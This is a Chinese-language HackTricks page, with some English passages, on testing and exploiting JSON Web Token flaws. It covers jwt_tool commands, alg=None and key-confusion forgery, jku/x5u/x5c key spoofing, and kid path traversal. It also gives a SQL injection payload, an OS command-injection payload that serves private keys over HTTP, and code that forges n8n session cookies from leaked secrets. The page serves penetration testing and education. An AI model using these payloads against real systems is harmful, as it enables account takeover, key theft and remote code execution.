JWT 漏洞 (Json Web Tokens)

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

本文部分内容基于优秀的文章: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
用于 pentest JWTs 的优秀工具的作者 https://github.com/ticarpi/jwt_tool

快速上手

运行 jwt_tool 并将模式设为 All Tests!,等待出现绿色行

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

如果你足够幸运,该工具会找到一些情况下 Web 应用错误地校验 JWT:

然后,你可以在你的 proxy 中搜索该 request,或使用 jwt_ tool dump 出该请求使用的 JWT:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.

在不修改任何东西的情况下篡改数据

你可以只篡改数据并保持签名不变,以检查服务器是否在验证签名。例如,尝试将你的用户名改为 “admin”。

Is the token checked?

要检查 JWT 的签名是否被验证:

  • 出现错误信息通常表明正在进行验证;应审查详细错误中是否泄露敏感信息。
  • 返回页面的变化也表明进行了验证。
  • 无变化则表明未验证;这时可以尝试篡改 payload claims。

Origin

通过检查代理的请求历史,判断 token 是在服务器端还是客户端生成非常重要。

  • 首次在客户端看到的 token 可能表示密钥暴露在客户端代码中,需要进一步调查。
  • 来自服务器端的 token 表明生成过程较为安全。

Duration

检查 token 是否有效期超过 24 小时……也可能永不过期。如果存在 “exp” 字段,检查服务器是否正确处理它。

Brute-force HMAC secret

See this page.

从 leaked config + DB 数据 推导 JWT secrets

如果任意文件读取(或 backup leak)暴露了 应用加密材料用户记录,有时可以重建 JWT 签名 secret 并伪造 session cookies,而无需知道任何明文密码。以下是在 workflow automation stacks 中观察到的示例模式:

  1. 从配置文件 Leak 应用密钥(例如 encryptionKey)。
  2. Leak 用户表以获取 emailpassword_hashuser_id
  3. 从该 key 推导 signing secret,然后推导 JWT payload 中预期的 per-user hash:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. 将签名的 token 放入会话 cookie(例如 n8n-auth)以冒充用户/管理员账户,即使密码哈希被加盐。

将算法修改为 None

将使用的算法设为 “None” 并移除签名部分。

使用 Burp 的扩展 “JSON Web Token” 来测试此漏洞并修改 JWT 内的不同值(将请求发送到 Repeater,在 “JSON Web Token” 选项卡中可以修改 token 的值。你也可以将 “Alg” 字段的值设为 “None”)。

将算法从 RS256(asymmetric) 改为 HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

算法 HS256 使用 secret key 来对每条消息进行签名和验证。
算法 RS256 使用 private key 对消息进行签名,并使用 public key 进行认证。

如果你将算法从 RS256 改为 HS256,后端代码会把 public key 当作 secret key 使用,然后用 HS256 算法来验证签名。

然后,使用 public key 并将 RS256 改为 HS256,我们就能创建出有效的签名。你可以通过以下方式检索 Web 服务器的证书来执行此操作:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

头部内的新公钥

攻击者在令牌的头部嵌入一个新的密钥,服务器使用该新密钥来验证签名(CVE-2018-0114)。

这可以使用 “JSON Web Tokens” Burp extension 完成。
(将请求发送到 Repeater,在 JSON Web Token 选项卡内选择 “CVE-2018-0114” 并发送请求)。

JWKS Spoofing

这些说明描述了一种评估 JWT 令牌安全性的方法,特别是那些使用 “jku” header claim 的情况。该 claim 应指向一个包含用于令牌验证的公钥的 JWKS (JSON Web Key Set) 文件。

  • Assessing Tokens with “jku” Header:
  • 验证 “jku” claim 的 URL,确保它指向正确的 JWKS 文件。
  • 修改令牌的 “jku” 值,使其指向受控的 web 服务,以便观察流量。
  • Monitoring for HTTP Interaction:
  • 观察到对你指定 URL 的 HTTP 请求表示服务器正在尝试从你提供的链接获取密钥。
  • 在使用 jwt_tool 进行此过程时,务必在 jwtconf.ini 文件中更新为你的 JWKS 位置以便测试。
  • Command for jwt_tool:
  • 运行以下命令以使用 jwt_tool 模拟该场景:
python3 jwt_tool.py JWT_HERE -X s

kid 问题概述

一个可选的头部 claim,称为 kid,用于标识特定密钥,在存在多个用于令牌签名验证的密钥的环境中尤为重要。该 claim 帮助选择用于验证令牌签名的适当密钥。

通过 “kid” 发现密钥

当头部包含 kid claim 时,建议在 web 目录中搜索对应的文件或其变体。例如,如果指定了 "kid":"key/12345",则应在 web 根目录中搜索 /key/12345/key/12345.pem 文件。

使用 “kid” 进行路径遍历

kid claim 也可能被用于在文件系统中导航,可能允许选择任意文件。通过将 kid 值更改为指向特定文件或服务,可以测试可达性或执行 Server-Side Request Forgery (SSRF) 攻击。使用 -T 标志在 jwt_tool 中篡改 JWT 以更改 kid 值同时保留原始签名可实现此操作,如下所示:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

通过针对具有可预测内容的文件,可以伪造有效的 JWT。例如,Linux 系统中的 /proc/sys/kernel/randomize_va_space 文件已知包含值 2,可以在 kid 参数中使用该值,并将 2 作为对称密码用于 JWT 生成。

SQL Injection via “kid”

如果 kid 声明的内容被用来从数据库获取密码,通过修改 kid 的载荷可以促成 SQL injection。一个利用 SQL injection 来更改 JWT 签名过程的示例载荷包括:

non-existent-index' UNION SELECT 'ATTACKER';-- -

这种更改会强制使用已知的密钥 ATTACKER 对 JWT 进行签名。

OS Injection through “kid”

如果 kid 参数指定了在命令执行上下文中使用的文件路径,可能导致 Remote Code Execution (RCE) 漏洞。通过在 kid 参数中注入命令,可以暴露私钥。用于实现 RCE 和密钥暴露的示例载荷为:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku stands for JWK Set URL.
If the token uses a “jkuHeader claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.

First you need to create a new certificate with new private & public keys

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

然后你可以使用例如 jwt.io 来创建新的 JWT,使用 已创建的 public and private keys 并将参数 jku 指向所创建的 certificate。 为了创建有效的 jku certificate,你可以下载原始证书并更改所需参数。

你可以使用以下方法从 public certificate 获取参数 “e” 和 “n”:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL。A URI 指向一组以 PEM 形式编码的 X.509(证书格式标准)公钥证书。集合中的第一个证书必须是用于签署该 JWT 的证书。后续证书依次签署前一个证书,从而完成证书链。X.509 在 RFC 52807 中定义。传输这些证书时需要使用传输安全。

尝试 将此 header 更改为一个由你控制的 URL 并检查是否收到任何请求。在这种情况下,你 可能能够篡改该 JWT

要使用你控制的证书伪造一个新的 token,你需要创建证书并提取公钥和私钥:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter x5u to the certificate .crt created.

You can also abuse both of these vulns for SSRFs.

x5c

This parameter may contain the certificate in base64:

If the attacker generates a self-signed certificate and creates a forged token using the corresponding private key and replace the “x5c” parameter’s value with the newly generatedcertificate and modifies the other parameters, namely n, e and x5t then essentially the forgedtoken would get accepted by the server.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

嵌入的公钥 (CVE-2018-0114)

如果 JWT 嵌入了像下面示例中的公钥:

使用以下 nodejs 脚本可以从这些数据生成公钥:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

可以生成新的私钥/公钥,将新的公钥嵌入到 token 中,并用它来生成新的签名:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

你可以使用这个 nodejs 脚本获取 “n” 和 “e”:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

最后,使用 public 和 private key 以及新的 “n” 和 “e” 值,可以使用 jwt.io 构造一个包含任意信息的有效 JWT。

ES256: 在使用相同 nonce 时揭露 private key

If some applications use ES256 and use the same nonce to generate two jwts, the private key can be restored.

Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to replay a request (needing to send 10000 request between each successful replay).

JWT Registered claims

JSON Web Token (JWT)

Other attacks

Cross-service Relay Attacks

观察到一些 web 应用依赖受信任的 JWT 服务来生成和管理其 tokens。有记录显示,某个 client 由该 JWT 服务生成的 token 被同一 JWT 服务的另一个 client 接受。如果发现通过第三方服务签发或续期 JWT,应调查是否可以用相同的 username/email 在该服务的另一个 client 上注册账号。然后尝试在对目标的请求中重放所获取的 token,以检查是否被接受。

  • 如果你的 token 被接受,可能表明存在严重问题,理论上可能允许你 spoofing 任意用户的账号。但需要注意,如果在第三方应用上注册账号进行更广泛的测试,可能需要取得许可,因为这可能涉及法律灰色地带。

Expiry Check of Tokens

token 的过期通过 Payload 中的 “exp” claim 来检查。鉴于 JWTs 常在没有会话信息的情况下使用,需谨慎处理。在许多情况下,捕获并重放其他用户的 JWT 可导致冒充该用户。JWT RFC 建议通过使用 “exp” claim 为 token 设置过期时间来缓解 JWT 重放攻击。此外,应用需要实现相应的检查以确保处理该值并拒绝过期的 token。如果 token 包含 “exp” claim 且测试时间允许,建议在过期时间过后存储并重放该 token。可以使用 jwt_tool 的 -R 参数读取 token 的内容,包括时间戳解析和过期检查(时间戳以 UTC 为准)。

  • 如果应用仍然验证该 token,可能存在安全风险,这可能意味着 token 永远不会过期。

工具

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks